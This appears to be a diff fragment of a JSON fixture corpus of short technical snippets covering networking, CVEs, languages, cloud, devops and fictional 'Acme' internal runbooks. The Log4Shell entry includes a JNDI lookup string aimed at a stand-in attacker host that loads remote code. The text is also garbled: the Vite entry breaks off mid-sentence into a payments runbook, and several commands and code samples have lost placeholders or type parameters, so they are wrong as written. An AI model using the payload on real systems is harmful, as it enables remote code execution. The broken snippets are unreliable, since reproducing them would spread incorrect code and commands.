sharded high availability use Redis Cluster instead — Sentinel only supports a single master shard.", + "metadata": { "topic": "redis" } + }, + { + "id": "redis-bitmaps", + "content": "Redis bitmap operations let you store and query bits packed into strings. SETBIT key offset 0|1 sets a bit, GETBIT reads it, and BITCOUNT counts set bits in a range. Bitmaps are efficient for daily-active-user tracking (one bit per user per day) and feature flags. Use BITOP AND/OR/XOR for set operations across days.", + "metadata": { "topic": "redis" } + }, + { + "id": "tls-handshake", + "content": "The TLS 1.3 handshake completes in one round trip. The client sends ClientHello with supported cipher suites and a key share. The server responds with ServerHello, its certificate, a CertificateVerify signed with its private key, and Finished. The client validates the certificate chain, derives session keys, and sends Finished. TLS 1.3 was standardized in RFC 8446 in August 2018. Earlier versions required two round trips and are deprecated.", + "metadata": { "topic": "networking" } + }, + { + "id": "http2", + "content": "HTTP/2 multiplexes multiple requests over a single TCP connection using streams. Header compression (HPACK) reduces redundant bytes per request. Server push lets the server proactively send resources the client will need. HTTP/2 over TLS uses ALPN to negotiate the protocol version during the handshake.", + "metadata": { "topic": "networking" } + }, + { + "id": "dns-records", + "content": "DNS A records map names to IPv4 addresses; AAAA to IPv6. CNAME aliases one name to another. MX records direct mail to the right server with a priority value. TXT records hold arbitrary strings, used for SPF, DKIM, and verification. TTL controls how long resolvers cache the answer.", + "metadata": { "topic": "networking" } + }, + { + "id": "grpc-protobuf", + "content": "gRPC uses HTTP/2 as transport and protobuf for the wire format. Define services in .proto files; codegen produces typed clients and servers in many languages. Streaming comes in four flavors: unary, server-streaming, client-streaming, and bidirectional. Use deadlines (per-RPC timeouts) on the client; the server reads them via the context and can short-circuit work.", + "metadata": { "topic": "networking" } + }, + { + "id": "websockets", + "content": "WebSockets begin as an HTTP request with Upgrade: websocket. After the handshake, the connection switches to a framed bidirectional protocol. Send Ping/Pong frames periodically to keep intermediaries from idling out the connection. Bear in mind that browsers limit per-host WebSocket count; multiplex if you need many concurrent channels.", + "metadata": { "topic": "networking" } + }, + { + "id": "mtls", + "content": "Mutual TLS (mTLS) authenticates both server and client via certificates. The server requests a client certificate during the handshake; the client presents one signed by a trusted CA. Use mTLS for service-to-service auth in zero-trust meshes (Istio, Linkerd, SPIFFE/SPIRE). Rotate client certs frequently — short-lived certs are the security model, not revocation.", + "metadata": { "topic": "networking" } + }, + { + "id": "bgp-routing", + "content": "BGP is the routing protocol of the public internet. eBGP peers between autonomous systems; iBGP within. Routes carry path attributes (AS_PATH, LOCAL_PREF, MED) that influence selection. Route hijacking happens when an AS announces prefixes it does not own; RPKI signs the legitimate origin AS for a prefix to prevent this.", + "metadata": { "topic": "networking" } + }, + { + "id": "nat-traversal", + "content": "NAT traversal techniques let two peers behind NATs talk directly. STUN tells a host its public address. TURN relays traffic when direct connectivity fails. ICE combines candidates from STUN and TURN and picks the best path. WebRTC uses ICE under the hood; expect a TURN fallback for symmetric NATs and corporate networks.", + "metadata": { "topic": "networking" } + }, + { + "id": "quic-http3", + "content": "QUIC is a UDP-based transport that combines TLS 1.3 with stream multiplexing. HTTP/3 runs HTTP semantics over QUIC. Connection establishment is 0-RTT or 1-RTT vs HTTP/2's 2-3 RTTs. Streams are independent — head-of-line blocking that plagued HTTP/2 over TCP is gone. Connection migration survives client IP changes (mobile networks).", + "metadata": { "topic": "networking" } + }, + { + "id": "cors-policy", + "content": "CORS is the browser-enforced policy that gates cross-origin XHR / fetch. The server responds with Access-Control-Allow-Origin and friends. Preflight (OPTIONS) requests fire when the method is non-simple or custom headers are sent. Credentials (cookies, auth headers) require Allow-Credentials: true and a specific origin (no wildcard).", + "metadata": { "topic": "networking" } + }, + { + "id": "err-conn-refused", + "content": "Error code ERR_CONNECTION_REFUSED 4101 indicates a TCP-level rejection. Check firewall rules, the service binding (0.0.0.0 vs 127.0.0.1), and whether the upstream process is actually listening on the expected port. On macOS, use lsof -iTCP -sTCP:LISTEN to enumerate listeners.", + "metadata": { "topic": "errors" } + }, + { + "id": "err-oom", + "content": "The Linux OOM killer terminates processes when the system runs out of memory. The kernel scores each process; the highest-scored process receives SIGKILL. In Kubernetes, exceeding a memory limit triggers the cgroup OOM killer, which kills only the offending container. Diagnose with dmesg | grep -i 'oom-killer' on the host or kubectl describe pod for cgroup events.", + "metadata": { "topic": "errors" } + }, + { + "id": "err-cve-xz", + "content": "CVE-2024-3094 is a backdoor in xz/liblzma versions 5.6.0 and 5.6.1 affecting sshd on certain Linux distributions. The malicious code modifies RSA_public_decrypt and allows remote unauthenticated command execution via crafted SSH connections. Mitigation: downgrade liblzma to a clean version (≤5.4.6) and rebuild any binaries that statically linked the affected versions.", + "metadata": { "topic": "errors" } + }, + { + "id": "err-eaddrinuse", + "content": "EADDRINUSE means the port you tried to bind is already in use. On Linux, find the offender with ss -lntp | grep :PORT or lsof -iTCP:PORT. SO_REUSEPORT (Linux) lets multiple sockets bind the same port for load distribution; SO_REUSEADDR allows binding while a previous socket is in TIME_WAIT but does not allow two simultaneous listeners.", + "metadata": { "topic": "errors" } + }, + { + "id": "err-segfault", + "content": "A segmentation fault (SIGSEGV) means a process accessed memory it does not own. Reproduce under gdb or load the core dump (ulimit -c unlimited) and bt to see the call stack. Common causes: dereferencing a NULL pointer, use-after-free, stack overflow in deep recursion, mismatched calling conventions (FFI). Run under valgrind or AddressSanitizer to catch latent bugs.", + "metadata": { "topic": "errors" } + }, + { + "id": "err-deadlock", + "content": "Deadlocks occur when transactions hold locks each other waits on. Postgres detects deadlocks and aborts the youngest transaction with SQLSTATE 40P01. Fix: order lock acquisition consistently across all paths (e.g., always lock account A before B). Application-level retry on deadlock is reasonable for OLTP. Watch pg_locks joined with pg_stat_activity to see who blocks whom.", + "metadata": { "topic": "errors" } + }, + { + "id": "cve-log4shell", + "content": "CVE-2021-44228 (Log4Shell) is a remote code execution vulnerability in Apache Log4j 2.0–2.14.1 via the JNDI lookup feature in formatted log messages. A crafted string like ${jndi:ldap://attacker/x} triggers a JNDI lookup that loads a remote Java class. Mitigation: upgrade to 2.17.1+, set log4j2.formatMsgNoLookups=true, or remove the JndiLookup class from the JAR.", + "metadata": { "topic": "errors" } + }, + { + "id": "rfc-9110", + "content": "RFC 9110 defines HTTP semantics — methods, status codes, headers, content negotiation — independent of any specific version. It supersedes RFC 7230-7235. The companion RFC 9112 handles HTTP/1.1 wire format. Read 9110 for the canonical definition of POST vs PUT vs PATCH, idempotency, and safe-method rules.", + "metadata": { "topic": "errors" } + }, + { + "id": "rfc-7519-jwt", + "content": "RFC 7519 defines JSON Web Tokens (JWT). A JWT is three Base64url-encoded segments separated by dots: header, payload, signature. The signature covers the first two segments and is verified with the issuer's key. Common claims include iss, sub, aud, exp, iat, nbf, jti. Always validate exp and signature; never trust an unverified JWT.", + "metadata": { "topic": "security" } + }, + { + "id": "x509-verify", + "content": "x509: certificate verify failed indicates that the TLS handshake could not validate the peer's certificate chain. Common causes: expired certificate, hostname mismatch, missing intermediate cert (chain incomplete), or the root CA not in the local trust store. Inspect the chain with openssl s_client -connect host:443 -showcerts. For private CAs, ensure the CA cert is mounted and trusted in the container.", + "metadata": { "topic": "errors" } + }, + { + "id": "rust-ownership", + "content": "Rust's borrow checker enforces memory safety without a garbage collector. Each value has a single owner; when the owner goes out of scope the value is dropped. Borrowing references a value without transferring ownership — but you can have either one mutable reference or any number of shared references at once, never both. Lifetimes annotate how long borrowed references must remain valid. Most fights with the borrow checker resolve by restructuring data, not by adding lifetimes.", + "metadata": { "topic": "languages" } + }, + { + "id": "rust-async", + "content": "Rust async functions return Futures, which do nothing until polled by an executor. Tokio is the de-facto async runtime, providing a multi-threaded scheduler, timers, and IO. Use tokio::spawn for tasks, tokio::select! for multiplexing, and avoid blocking calls in async functions — use tokio::task::spawn_blocking for CPU-bound or sync IO.", + "metadata": { "topic": "languages" } + }, + { + "id": "rust-traits", + "content": "Traits in Rust are like interfaces with default methods. impl Trait for Type implements a trait. Trait bounds (T: Display + Clone) constrain generics. Use where clauses for complex bounds. Trait objects (dyn Trait) enable runtime polymorphism via dynamic dispatch; generics monomorphize at compile time. Orphan rule: you can only impl trait T for type U if you own one of them.", + "metadata": { "topic": "languages" } + }, + { + "id": "rust-error-handling", + "content": "Rust uses Result for recoverable errors and panic! for unrecoverable bugs. The ? operator propagates errors up the call stack. anyhow::Error is the standard for application errors when you do not need to match exhaustively; thiserror is the standard for library errors that callers may pattern match. Avoid unwrap() in production code paths.", + "metadata": { "topic": "languages" } + }, + { + "id": "rust-cargo", + "content": "Cargo is Rust's package manager and build tool. Workspaces share a Cargo.lock and target/ across many crates. Features are conditional compilation flags users opt into. cargo build --release enables optimizations; cargo test runs the test suite, including doc tests. cargo clippy is a linter; cargo fmt formats. Prefer thin crates with tight features for fast compile times.", + "metadata": { "topic": "languages" } + }, + { + "id": "rust-unsafe", + "content": "unsafe in Rust unlocks raw pointer dereferences, FFI, mutable statics, unions, and unsafe trait impls. The compiler still checks borrows inside unsafe blocks; unsafe is not a borrow-checker bypass. Use unsafe sparingly and document invariants the caller must uphold. Auditable safety boundaries are the goal.", + "metadata": { "topic": "languages" } + }, + { + "id": "python-gil", + "content": "The Python GIL (Global Interpreter Lock) is a mutex that allows only one thread to execute Python bytecode at a time. CPU-bound multithreaded Python code does not parallelize across cores; use multiprocessing or release the GIL in C extensions. Python 3.13 introduced an optional no-GIL build (PEP 703) but ecosystem support is still stabilizing.", + "metadata": { "topic": "languages" } + }, + { + "id": "python-asyncio", + "content": "asyncio is Python's event-loop-based async framework. Coroutines are async def functions; await suspends until the future resolves. asyncio.gather runs many coroutines concurrently; asyncio.wait_for adds a timeout. Use asyncio.Lock for critical sections, asyncio.Queue for producer/consumer patterns. Mixing sync and async code typically requires loop.run_in_executor.", + "metadata": { "topic": "languages" } + }, + { + "id": "python-typing", + "content": "Python type hints (PEP 484+) describe types without runtime enforcement. mypy and pyright check them statically. PEP 585 lets you write list[int] instead of List[int]. PEP 604 enables X | Y union syntax. Generics use TypeVar and Generic. Protocol (PEP 544) gives structural typing — duck typing the type checker can verify.", + "metadata": { "topic": "languages" } + }, + { + "id": "python-packaging", + "content": "Modern Python packaging uses pyproject.toml and PEP 517/518 build backends (hatchling, setuptools, poetry-core, flit). pip install ., uv pip install ., or poetry install build and install. Avoid setup.py-only packages; use src/ layout to prevent import-shadowing during tests. Pin dependencies for applications; constrain ranges for libraries.", + "metadata": { "topic": "languages" } + }, + { + "id": "python-pandas", + "content": "pandas DataFrames are tabular structures with row + column labels. Use .loc for label-based indexing, .iloc for positional. groupby().agg() does split-apply-combine. Vectorized operations (df['x'] * 2) beat row-wise apply. For large data prefer Polars or DuckDB; pandas keeps everything in Python objects which becomes a bottleneck.", + "metadata": { "topic": "languages" } + }, + { + "id": "python-virtualenv", + "content": "Python virtual environments isolate package installs per project. Built-in: python -m venv .venv && source .venv/bin/activate. poetry, pdm, and rye manage venvs + dependencies together. uv (from astral) is much faster than pip for installs. Always activate before pip install — no global package installs in modern workflows.", + "metadata": { "topic": "languages" } + }, + { + "id": "code-snippet", + "content": "useState is a React hook that returns a stateful value and a setter: const [count, setCount] = useState(0). Calling setCount(next) schedules a re-render with the new value. Updates batch within event handlers; React 18 batches across promises and timeouts too. For state that depends on previous state, pass a function: setCount(n => n + 1).", + "metadata": { "topic": "code" } + }, + { + "id": "ts-generics", + "content": "TypeScript generics let functions and types parameterize over types. function first(xs: T[]): T | undefined uses T as a placeholder. Constraints: . infer in conditional types extracts a type — type ReturnType = F extends (...args: any) => infer R ? R : never. Variance: arrays are covariant in TS, but function arguments are bivariant by default (a known unsoundness).", + "metadata": { "topic": "code" } + }, + { + "id": "react-effects", + "content": "useEffect runs side effects after commit. The dependency array tells React when to re-run: [] for once on mount, [deps] for on-deps-change. Cleanup via the returned function fires before re-run and on unmount. Common bugs: missing deps causing stale closures, and accidental infinite re-renders when an object/array literal is in the deps.", + "metadata": { "topic": "code" } + }, + { + "id": "react-server-components", + "content": "React Server Components run on the server and return serialized React trees to the client. They can fetch data and import server-only code without shipping it to the browser. The 'use client' directive marks files that must run on the client (state, effects). Server Actions ('use server') let client code invoke server functions over an RPC channel.", + "metadata": { "topic": "code" } + }, + { + "id": "node-streams", + "content": "Node.js Streams are async iterables over chunks. Readable streams emit data; Writable streams accept it. Duplex streams do both; Transform streams modify on the fly. .pipe() connects them and handles backpressure. The newer pipeline() helper from node:stream/promises wraps everything with proper error handling; prefer it over chained .pipe().", + "metadata": { "topic": "code" } + }, + { + "id": "promise-pitfalls", + "content": "Common JavaScript Promise pitfalls: forgetting to await inside an async function (the function returns a Promise that resolves before the inner work finishes), unhandled rejections (always attach a .catch or use top-level await with try/catch), and parallel-vs-serial confusion (Promise.all parallel, for-await-of serial). Promise.allSettled when you want every result regardless of failure.", + "metadata": { "topic": "code" } + }, + { + "id": "esmodules", + "content": "ECMAScript modules use import/export and are statically analyzable. Node.js treats files as ESM if package.json has \"type\": \"module\" or the extension is .mjs. import paths must be fully qualified (extensions required). Top-level await works in ESM. Avoid mixing ESM and CommonJS in the same package; transpilation via tsc or bundlers handles the gap if you must.", + "metadata": { "topic": "code" } + }, + { + "id": "vite-bundling", + "content": "Vite uses esbuild for dev (instant cold start) and Rollup for production builds. Configure rollupOptions.output.manualChunks for code splitting beyond the defaults. import.meta.glob is a Vite-specific helper for runtime-discoverable module sets. Build target should match your browserslist; legacy build via @vitejs/plugin-legacy if you need 5%, escalate to PaymentsOnCall in #incidents. Drain the affected region by toggling the regional flag in LaunchDarkly: 'payments.region.disabled'. Restore: clear flag, monitor 5xx rate for 10 minutes, and post status update at status.acme.com.", + "metadata": { "topic": "internal", "kind": "runbook" } + }, + { + "id": "runbook-database-failover", + "content": "Acme Database Failover Runbook. Triggered when primary Postgres replica lag >30s or the primary is unreachable. Verify with patroni list. Initiate failover via patronictl failover --master --candidate . Update DNS via the dbops/patroni-dns Ansible playbook. Verify writes succeed against the new primary by tailing the application logs and the patroni leader endpoint.", + "metadata": { "topic": "internal", "kind": "runbook" } + }, + { + "id": "runbook-deploy-rollback", + "content": "Acme Deployment Rollback Runbook. Use rolling rollback for stateless services: kubectl rollout undo deploy/ -n . For stateful services, follow the per-service rollback section in the service's README. Always check for migration compatibility — backwards-incompatible migrations require a forward-fix, not a rollback.", + "metadata": { "topic": "internal", "kind": "runbook" } + }, + { + "id": "on-call-handoff", + "content": "Acme On-Call Handoff Procedure. The outgoing primary writes a handoff note in the #oncall-handoff Slack channel covering: open incidents, paged but unresolved alerts, scheduled maintenance, and known-flaky alerts. The incoming primary acknowledges the note and confirms PagerDuty schedule. Handoffs occur Mondays at 10am Pacific.", + "metadata": { "topic": "internal", "kind": "policy" } + }, + { + "id": "on-call-escalation", + "content": "Acme On-Call Escalation Policy. Primary has 15 minutes to acknowledge a Sev1 page; after that, PagerDuty escalates to the secondary. Sev1 always pages the primary AND secondary simultaneously after 5 minutes of no ack. Manager escalation for Sev0 if no engineer ack within 30 minutes. For company-wide outages, the engineering director is paged automatically.", + "metadata": { "topic": "internal", "kind": "policy" } + }, + { + "id": "incident-postmortem-template", + "content": "Acme Incident Postmortem Template. Sections: Summary (one paragraph, customer impact), Timeline (events in chronological order, all in UTC), Root Cause (technical explanation with evidence), Action Items (each with owner + due date + ticket link), Lessons Learned. Postmortems are blameless — focus on systems and process, not individuals.", + "metadata": { "topic": "internal", "kind": "template" } + }, + { + "id": "adr-template", + "content": "Acme Architecture Decision Record (ADR) Template. Each ADR is a Markdown file in docs/adr/NNNN-title.md with the date, status (Proposed | Accepted | Superseded by NNNN), Context (forces in play), Decision (what we chose), and Consequences (good and bad). Major decisions require team review; minor decisions can ship with a single approver. Once Accepted, ADRs are immutable; supersede with a new ADR.", + "metadata": { "topic": "internal", "kind": "template" } + }, + { + "id": "design-doc-template", + "content": "Acme Design Doc Template. Sections: Goals, Non-goals, Background, Proposal, Alternatives Considered, Risks, Rollout Plan, Open Questions. Design docs are required for changes that affect more than one service or that introduce new dependencies. Circulate at least 48 hours before review and tag stakeholders explicitly.", + "metadata": { "topic": "internal", "kind": "template" } + }, + { + "id": "code-review-guidelines", + "content": "Acme Code Review Guidelines. Reviewers respond within one business day. Focus on correctness, readability, security, and test coverage — not style (Prettier handles style). Approving review can include nits, but author can ignore nits. Two approvals required for changes touching billing or auth code. Avoid 'LGTM with nits' for changes >500 lines; request a follow-up readthrough instead.", + "metadata": { "topic": "internal", "kind": "policy" } + }, + { + "id": "vacation-policy", + "content": "Acme Vacation Policy. Salaried employees have unlimited vacation with a minimum of 15 days expected per calendar year. Submit requests in BambooHR at least 2 weeks in advance for >3 day blocks. Coverage required for on-call rotations — coordinate trades in #oncall-trades. Vacation days do not roll over and are not paid out at termination.", + "metadata": { "topic": "internal", "kind": "policy" } + }, + { + "id": "expense-report", + "content": "Acme Expense Report Process. Submit receipts in Expensify within 30 days of purchase. Itemize meals (date, attendees, business purpose). Travel >$500 requires manager pre-approval. Per diem is $75 domestic, $100 international. Reimbursement processed within 7 business days of approval. Suspicious expenses are flagged to Finance for review.", + "metadata": { "topic": "internal", "kind": "policy" } + }, + { + "id": "secret-rotation", + "content": "Acme Secret Rotation Quarterly Procedure. All production credentials (API keys, database passwords, OAuth client secrets, signing keys) must be rotated every 90 days. Use the rotate-secrets.yml Ansible playbook, which generates new values, updates Vault, and triggers a rolling restart of consumers. Track rotations in the security dashboard at sec.acme.internal/rotations.", + "metadata": { "topic": "internal", "kind": "procedure" } + }, + { + "id": "access-review", + "content": "Acme Quarterly Access Review. Each engineering manager reviews their reports' access to production systems within the first week of the quarter. Revoke access for any tools the engineer no longer uses. The security team reviews break-glass account usage. Audit log: any access change is recorded in the IAM audit table with timestamp, principal, and approver.", + "metadata": { "topic": "internal", "kind": "procedure" } + }, + { + "id": "vpn-access", + "content": "Acme VPN Access Policy. All access to internal services (gitlab.acme.internal, obs.acme.internal, sec.acme.internal) requires Tailscale + hardware MFA. New employees receive Tailscale invitations on day 1 from IT. Suspended access on offboarding within 4 hours of HR ticket. Public WiFi access mandates VPN; the desktop client enforces this on managed laptops.", + "metadata": { "topic": "internal", "kind": "policy" } + }, + { + "id": "production-deploy-checklist", + "content": "Acme Production Deploy Checklist. Before merging to main: tests pass in CI, code review approved, no high-severity Snyk findings, feature flag default is OFF for risky changes. Before promotion to prod: staging soak >2 hours, error rate stable, on-call ack. After deploy: monitor error rate and latency for 30 minutes; rollback if regression confirmed.", + "metadata": { "topic": "internal", "kind": "procedure" } + }, + { + "id": "new-hire-onboarding", + "content": "Acme New Hire Onboarding. Day 1: laptop pickup, account provisioning (Okta, GitHub, Slack, PagerDuty), buddy assignment. Week 1: read engineering handbook, complete security training in Workday, get 2 PRs merged. Month 1: ship a small but real feature, attend an on-call shadow. Manager 30/60/90 check-ins required; 30-day check-in includes a confidential survey.", + "metadata": { "topic": "internal", "kind": "procedure" } + }, + { + "id": "engineering-hiring-rubric", + "content": "Acme Engineering Hiring Rubric. Each interview scores four dimensions on a 1-4 scale: technical depth, problem-solving, communication, and craftsmanship. Hire bar is 3+ on at least three dimensions. Interviewers submit feedback in Greenhouse within 24 hours. Hiring committee reviews packets weekly; consensus required for offer.", + "metadata": { "topic": "internal", "kind": "policy" } + }, + { + "id": "slack-channels", + "content": "Acme Slack Channel Naming Conventions. #team- for team channels. #project- for project channels. #incident- for incident rooms (auto-archived 30 days post-resolution). #help- for help channels. #social- for non-work. Avoid renaming channels — links break and search degrades. Archive instead.", + "metadata": { "topic": "internal", "kind": "policy" } + }, + { + "id": "security-incident-response", + "content": "Acme Security Incident Response Procedure. Suspected security incident → page security-oncall in PagerDuty. Do not discuss in public Slack channels — use the incident-private channel. Preserve evidence: snapshot affected systems, capture relevant logs to immutable storage. CISO and legal looped in within 1 hour of declaration. External communication coordinated by the comms team only.", + "metadata": { "topic": "internal", "kind": "procedure" } + }, + { + "id": "aws-iam", + "content": "AWS IAM identities are users, groups, and roles. Roles are assumed via STS — preferred over long-lived user keys. Policies are JSON documents granting Allow/Deny on Action/Resource. Resource-based policies (S3 bucket policy, KMS key policy) attach to the resource. Use IAM Access Analyzer to find unintended public access. Rotate access keys; better, do not create them at all.", + "metadata": { "topic": "cloud" } + }, + { + "id": "aws-s3", + "content": "AWS S3 stores objects in buckets. Versioning protects against accidental delete. Lifecycle policies transition or expire objects (Standard → IA → Glacier). Presigned URLs grant time-limited access via the S3 SigV4 signature. S3 Object Lambda transforms objects on read. Bucket Block Public Access defaults are sane — do not turn them off without a reason.", + "metadata": { "topic": "cloud" } + }, + { + "id": "aws-vpc", + "content": "AWS VPC subnets are AZ-scoped IP ranges. Public subnets have a route to an internet gateway; private subnets route via a NAT gateway for egress. Security groups are stateful at the ENI level; NACLs are stateless at the subnet boundary. VPC endpoints (gateway for S3/DynamoDB, interface for everything else) keep traffic on the AWS backbone.", + "metadata": { "topic": "cloud" } + }, + { + "id": "aws-lambda", + "content": "AWS Lambda runs functions in response to events. Cold starts depend on runtime, package size, and VPC attachment. Layers package shared dependencies. Provisioned Concurrency keeps warmed instances if cold start latency matters. Lambda execution role grants AWS API permissions. Memory configuration controls CPU allocation linearly — more memory = more CPU.", + "metadata": { "topic": "cloud" } + }, + { + "id": "gcp-iam", + "content": "GCP IAM grants principals roles on resources. Roles are bundles of permissions. IAM Conditions add expressions that gate when a binding applies (request time, IP, resource attributes). Workload Identity Federation lets external identities (AWS, GitHub Actions, OIDC) impersonate GCP service accounts without long-lived keys.", + "metadata": { "topic": "cloud" } + }, + { + "id": "azure-rbac", + "content": "Azure RBAC has scopes (management group, subscription, resource group, resource), principals (user, group, service principal, managed identity), and role definitions (built-in or custom). Use managed identities for Azure resources to avoid storing credentials. Privileged Identity Management (PIM) provides just-in-time elevation with approval workflows.", + "metadata": { "topic": "cloud" } + }, + { + "id": "gcp-pubsub", + "content": "GCP Pub/Sub is a managed message queue. Publishers send to a topic; subscriptions deliver to subscribers. Pull subscriptions let consumers control rate; push subscriptions deliver via HTTPS POST. Dead-letter topics receive messages that exceed maxDeliveryAttempts. Ordering keys preserve order within a key (off by default; opt in per topic).", + "metadata": { "topic": "cloud" } + }, + { + "id": "aws-rds", + "content": "AWS RDS manages relational databases (Postgres, MySQL, MariaDB, Oracle, SQL Server). Multi-AZ provides synchronous standby for HA — failover is automatic on primary failure (~60-120s). Read replicas scale read traffic but are async, so reading immediately after a write may return stale rows. Parameter groups control engine config; reboot required for static parameters.", + "metadata": { "topic": "cloud" } + }, + { + "id": "terraform-state", + "content": "Terraform state tracks the mapping from config to real resources. Use a remote backend (S3 + DynamoDB lock table, Terraform Cloud, GCS) so state is shared and concurrent applies are blocked. Never commit terraform.tfstate to git — it contains secrets and hash sensitive data. terraform import adds existing resources to state without recreating them.", + "metadata": { "topic": "devops" } + }, + { + "id": "terraform-modules", + "content": "Terraform modules are reusable configurations with inputs (variables) and outputs. Pin versions in source = '...?ref=v1.2.3' for reproducibility. Avoid coupling modules to specific environments; pass everything as a variable. Test modules with terratest or tflint policies. Beware of breaking output changes — they propagate to consumers.", + "metadata": { "topic": "devops" } + }, + { + "id": "github-actions", + "content": "GitHub Actions workflows live in .github/workflows/. Triggers include push, pull_request, schedule (cron), and workflow_dispatch. Matrix strategy runs combinations in parallel. Cache via actions/cache with a stable key for dependencies. Secrets are scoped per repo or environment; environment protection rules (required reviewers) gate production deploys.", + "metadata": { "topic": "devops" } + }, + { + "id": "ansible-playbook", + "content": "Ansible playbooks orchestrate tasks against an inventory of hosts. Tasks are idempotent — re-running should be a no-op if nothing changed. Handlers run only when notified by a task that made a change. Roles bundle tasks, vars, handlers, files, and templates into reusable units. Use --check for dry runs and --diff to see what would change.", + "metadata": { "topic": "devops" } + }, + { + "id": "docker-multistage", + "content": "Docker multi-stage builds use multiple FROM instructions to separate build and runtime images. The final image only contains artifacts you COPY --from=, dropping build tools and source. This dramatically reduces image size and attack surface. Tag intermediate stages with AS for clarity. Combine with distroless or scratch base images for minimal runtimes.", + "metadata": { "topic": "devops" } + }, + { + "id": "gitops-argocd", + "content": "ArgoCD continuously reconciles Kubernetes manifests in git with the live cluster state. Applications are CRDs pointing at a git path and target cluster/namespace. Sync waves order resource creation. Hooks (PreSync, PostSync, SyncFail) run jobs at specific points. Use ApplicationSets to template many similar Apps from a single generator.", + "metadata": { "topic": "devops" } + }, + { + "id": "css-flex-grid", + "content": "CSS Flexbox handles one-dimensional layouts (rows or columns). Grid handles two dimensions and complex 2D layouts. Use Flexbox for navbars, toolbars, vertical stacks. Use Grid for page layouts, dashboard panes, photo grids. Both can nest; choose by problem shape, not preference. CSS subgrid (now widely supported) lets nested grids participate in the parent's tracks.", + "metadata": { "topic": "frontend" } + }, + { + "id": "a11y-aria", + "content": "Accessibility (a11y) starts with semantic HTML — use button, nav, main, label, headings in order. ARIA fills gaps semantic HTML can't: aria-label for unlabeled icon buttons, aria-expanded for toggles, aria-live for dynamic announcements. Manage focus on route changes (move focus to the new heading) and inside modals (focus trap, return focus on close).", + "metadata": { "topic": "frontend" } + }, + { + "id": "web-perf-cwv", + "content": "Core Web Vitals are LCP (Largest Contentful Paint, target <2.5s), CLS (Cumulative Layout Shift, target <0.1), and INP (Interaction to Next Paint, target <200ms). Lighthouse and Chrome User Experience Report measure them. Common fixes: preload hero images, reserve space for ads/embeds (CLS), avoid long tasks on the main thread (INP).", + "metadata": { "topic": "frontend" } + }, + { + "id": "frontend-i18n", + "content": "Frontend internationalization (i18n) handles translations, plural rules, dates, numbers, and right-to-left languages. ICU MessageFormat handles plurals and gender. Lazy-load translation bundles per locale. CSS logical properties (margin-inline-start) work for both LTR and RTL without overrides. Detect locale from Accept-Language; let users override.", + "metadata": { "topic": "frontend" } + }, + { + "id": "fastify-plugins", + "content": "Fastify plugins encapsulate routes, decorators, and hooks. Each plugin gets its own scope; child scopes inherit from parents. Register order matters — encapsulation prevents leakage but means a plugin must register dependencies before consumers. Use fastify-plugin to break encapsulation when you intentionally want to share decorators across the parent scope.", + "metadata": { "topic": "backend" } + }, + { + "id": "django-orm", + "content": "Django ORM models live in models.py. QuerySets are lazy — the SQL fires on iteration, slicing without step, or len(). select_related joins ForeignKeys in one query; prefetch_related runs a second query for reverse and m2m. Migrations are auto-generated by makemigrations and applied by migrate; never edit applied migrations — write new ones.", + "metadata": { "topic": "backend" } + }, + { + "id": "rails-active-record", + "content": "ActiveRecord is Rails's ORM. Callbacks (before_save, after_commit) run on lifecycle events — keep them lean to avoid hidden coupling. Scopes are reusable query fragments: scope :active, -> { where(active: true) }. Use includes for eager loading to avoid N+1 queries. Use update_all for bulk writes that bypass callbacks intentionally.", + "metadata": { "topic": "backend" } + }, + { + "id": "spring-boot", + "content": "Spring Boot autoconfigures beans based on classpath. @SpringBootApplication combines @Configuration, @EnableAutoConfiguration, and @ComponentScan. application.yml or application.properties configures the app; profiles (application-prod.yml) override per environment. Actuator endpoints (/actuator/health, /actuator/metrics) expose ops data.", + "metadata": { "topic": "backend" } + }, + { + "id": "code-react-hook", + "content": "import { useState, useEffect } from 'react'; function Counter() { const [count, setCount] = useState(0); useEffect(() => { document.title = `Count: ${count}`; }, [count]); return ; } The functional updater setCount(c => c+1) avoids stale-closure bugs.", + "metadata": { "topic": "code" } + }, + { + "id": "code-rust-trait", + "content": "trait Shape { fn area(&self) -> f64; } struct Circle { r: f64 } impl Shape for Circle { fn area(&self) -> f64 { std::f64::consts::PI * self.r * self.r } } fn print_area(s: &dyn Shape) { println!(\"area = {}\", s.area()); } Trait objects (&dyn Shape) enable runtime polymorphism.", + "metadata": { "topic": "code" } + }, + { + "id": "code-python-asyncio", + "content": "import asyncio; async def fetch(url): await asyncio.sleep(0.1); return url; async def main(): urls = [f'/api/{i}' for i in range(10)]; results = await asyncio.gather(*(fetch(u) for u in urls)); print(results); asyncio.run(main()) — runs ten concurrent fetches and prints all results.", + "metadata": { "topic": "code" } + }, + { + "id": "code-typescript-generic", + "content": "function uniqueBy(items: T[], key: (item: T) => K): T[] { const seen = new Set(); const out: T[] = []; for (const item of items) { const k = key(item); if (!seen.has(k)) { seen.add(k); out.push(item); } } return out; } Use as: uniqueBy(users, u => u.email).", + "metadata": { "topic": "code" } + }, + { + "id": "code-go-goroutine", + "content": "ch := make(chan int, 3); for i := 0; i < 3; i++ { go func(n int) { ch <- n * n }(i) }; for i := 0; i < 3; i++ { fmt.Println(<-ch) } — three goroutines compute squares concurrently and send results into a buffered channel; the main goroutine drains.", + "metadata": { "topic": "code" } + }, + { + "id": "code-bash-pipeline", + "content": "find . -type f -name '*.log' -mtime -7 -print0 | xargs -0 grep -l 'ERROR' | sort -u | head -20 — find log files modified in the last 7 days, list those containing ERROR, dedupe, and show the first 20. Use -print0 / -0 to handle filenames with spaces safely.", + "metadata": { "topic": "code" } + }, + { + "id": "code-sql-cte", + "content": "WITH RECURSIVE org_tree AS (SELECT id, manager_id, 1 AS depth FROM employees WHERE manager_id IS NULL UNION ALL SELECT e.id, e.manager_id, t.depth + 1 FROM employees e JOIN org_tree t ON e.manager_id = t.id) SELECT * FROM org_tree ORDER BY depth — recursive CTE walks an org chart top-down.", + "metadata": { "topic": "code" } + }, + { + "id": "code-dockerfile", + "content": "FROM node:20-alpine AS build; WORKDIR /app; COPY package*.json ./; RUN npm ci; COPY . .; RUN npm run build; FROM node:20-alpine AS runtime; WORKDIR /app; COPY --from=build /app/dist ./dist; COPY --from=build /app/node_modules ./node_modules; EXPOSE 3000; CMD [\"node\",\"dist/server.js\"]", + "metadata": { "topic": "code" } + }, + { + "id": "mongodb-aggregation", + "content": "MongoDB aggregation pipelines transform documents through stages. Common stages: $match (filter, ideally with an indexed field early), $group (aggregate), $project (reshape), $lookup (left join), $unwind (flatten arrays). Use explain('executionStats') to verify pipeline efficiency and confirm $match / $sort use indexes.", + "metadata": { "topic": "databases" } + }, + { + 